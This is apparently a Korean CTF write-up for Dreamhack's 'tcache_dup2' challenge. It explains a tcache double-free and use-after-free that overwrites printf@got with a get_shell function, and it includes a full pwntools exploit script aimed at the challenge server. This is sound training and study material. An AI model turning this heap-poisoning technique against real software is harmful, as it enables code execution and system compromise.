ubuntu 19에서 사용하는 glibc 버전이니 리모트는 ubuntu 19에서 다시 해볼 것
1. Double free
tcache entry와 첫번째 청크 fd에 첫 번째 청크 주소가 적힌다.
2. fd를 got로 바꾼다. (UAF)
got에 system이 있어서 혹시나 해서 .rodata 영역을 확인했는데 get_shell 함수가 있었다.. (아니다. 그냥 확인해도 get_shell 함수가 있다.)
printf@got에 할당받을 때 데이터로 get_shell을 주면, printf 시 쉘이 실행될 수 있다.
3. Create
이때는 tcache에 적힌 첫 번째 free 청크 영역에 재할당된다.
tcache에는 fd에 적힌 printf@got가 등록된다.
4. Create
fd에 적혔던 printf@got 영역에 할당된다.
해당 libc 버전의 경우, 할당 시 사이즈를 체크하지 않아 청크의 사이즈를 구성하지 않아도 된다.
printf@got에 get_shell 주소가 적힌 것을 확인할 수 있다.
5. get shell
exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 8510)
#p = process("./tcache_dup2")
elf = ELF("./tcache_dup2")
get_shell = elf.symbols['get_shell']
def Create(size, data):
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Data: ", str(data))
def Modify(idx, size, data):
p.sendlineafter("> ", '2')
p.sendlineafter("idx: ", str(idx))
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Data: ", str(data))
def Delete(idx):
p.sendlineafter("> ", '3')
p.sendlineafter("idx: ", str(idx))
Create(0x10, 'A'*8)
Create(0x10, 'A'*8)
Delete(0)
Delete(0)
Modify(0, 0x10, p64(elf.got['printf']))
Create(0x10, 'B'*8)
Create(0x10, p64(elf.symbols['get_shell']))
#gdb.attach(p)
p.interactive()
[Dreamhack] master_canary (0) | 2022.01.05 |
---|---|
[Dreamhack] welcome (0) | 2021.02.09 |
[Dreamhack] basic_heap_overflow (0) | 2020.07.08 |
[Dreamhack] memory_leakage (0) | 2020.07.08 |
[Dreamhack] House of Force (0) | 2020.06.13 |